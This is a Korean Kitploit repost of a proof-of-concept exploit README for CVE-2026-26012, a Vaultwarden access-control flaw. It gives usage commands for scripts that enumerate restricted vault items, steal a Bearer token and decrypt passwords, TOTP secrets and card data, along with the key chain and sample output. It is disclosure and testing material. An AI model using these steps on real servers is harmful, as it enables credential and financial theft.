CVE-2026-26012 — CVE-2026-26012에 대한 개념 증명 익스플로잇으로, Vaultwarden의 손상된 접근 제어로 인해 모든 조직 구성원이 컬렉션 권한을 우회하여 모든 암호를 열거하고 복호화할 수 있습니다. | Kitploit

일반 조직 구성원("Public" 컬렉션으로 제한됨)
    │
    ├── GET /api/sync                     → 5개 cipher (정상)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47개 cipher (조직의 모든 cipher — 버그)
                  └──→ 제한된 컬렉션의 42개 cipher (유출됨)
                        └──→ 구성원이 이미 보유한 조직 키로 복호화 가능

.
├── README.md                   # 이 파일
├── poc_cve_2026_26012.py       # 1단계: Cipher enumeration 및 유출 탐지
├── poc_decrypt.py              # 2단계: 조직 키 복구 및 cipher 복호화
└── LICENSE

# 브라우저로 인증(SSO + 2FA 지원) 후 Bearer 토큰 전달
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json

모든 인증 옵션

# Bearer 토큰 (권장 — SSO + 2FA 지원)
--token "eyJhbGciOi..."

# 세션 쿠키
--cookie "VAULTWARDEN_SESSION=abc123..."

# 원시 Cookie 헤더 (여러 쿠키)
--cookie-header "session=abc; token=xyz"

# 직접 비밀번호 로그인 (SSO 및 2FA 미지원)
--email [email protected] --password "MasterPassword"

Bearer 토큰 추출 방법:

Vaultwarden 웹 볼트에 로그인 (평소대로 SSO + 2FA 완료)
브라우저 DevTools(F12) → Network 탭 열기
볼트에서 항목을 클릭하여 API 호출 트리거
/api/... 요청을 찾아 Authorization 헤더 값 복사

추가 옵션

--no-verify-ssl     # SSL 검증 건너뛰기 (자체 서명 인증서)
--show-all          # 정상적으로 접근 가능한 cipher도 표시
--max-display 50    # 표시할 유출 cipher 최대 수 (기본값: 20)
--output results.json  # 전체 결과를 JSON으로 내보내기

python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

대안: 조직 키 직접 제공

이미 64바이트 조직 키(128자리 16진수)가 있는 경우:

python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

[*] === 키 복구 체인 ===

[1/6] KDF 매개변수 가져오는 중...
       KDF: PBKDF2-SHA256, iterations: 600000
[2/6] 마스터 키 파생 중...
[3/6] 마스터 키 스트레칭 중 (HKDF-Expand)...
[4/6] /api/sync에서 암호화된 키 가져오는 중...
       Organization: ACME Corp
[5/6] 사용자 대칭 키 복호화 중...
[6/6] RSA 개인 키 복호화 → 조직 키...

[+] 조직 키 복구 성공!

[*] 42개 cipher 복호화 중...

============================================================
  복호화 결과
============================================================
  총계:      42
  복호화됨:  42
  오류:      0

  영향 요약
  복구된 비밀번호:     35
  복구된 TOTP 시크릿:  12
  복구된 카드 번호:    3
============================================================

마스터 비밀번호 + 이메일
    │  PBKDF2-SHA256 또는 Argon2id
    ▼
마스터 키 (32바이트)
    │  HKDF-Expand-SHA256
    ▼
스트레치 키: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (profile.key 복호화)
    ▼
사용자 대칭 키: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (profile.privateKey 복호화)
    ▼
RSA 개인 키 (2048비트 PKCS#8 DER)
    │  RSA-OAEP-SHA1 (profile.organizations[].key 복호화)
    ▼
조직 키: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
복호화된 cipher 데이터

Cipher 유형	복호화되는 필드
Login	username, password, TOTP secret, URIs
Card	cardholder, number, CVV, expiration
Identity	name, SSN, passport, address, phone, email
Secure Note	전체 메모 내용
모든 유형	사용자 정의 필드, 첨부 파일 메타데이터

역할	담당자	기여
취약점 보고자	@odgrso	CVE-2026-26012 발견 및 책임 있는 공개
수정 개발자	@BlackDex	Vaultwarden 1.35.3에서 수정 사항 개발 및 배포
프로젝트 유지 관리자	@dani-garcia	Vaultwarden 창시자, advisory 및 릴리스 조정

CVE	CVE-2026-26012
Advisory	GHSA-h265-g7rm-h337
영향 범위	Vaultwarden ≤ 1.35.2
수정 버전	1.35.3
CVSS 3.1	6.5 (Medium) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
CWE	CWE-863 — 잘못된 권한 부여
공로	@odgrso 발견, @BlackDex 수정

CVE-2026-26012

인기

취약점

저장소 구성

요구 사항

사용 방법

1단계 — 유출된 cipher 열거

2단계 — 유출된 cipher 복호화

출력 예시

작동 원리

키 파생 체인

컬렉션 ACL이 데이터를 보호하지 못하는 이유

복호화되는 내용

해결 방법

사고 후 조치

책임 있는 공개

감사의 말

법적 고지

참고 자료

라이선스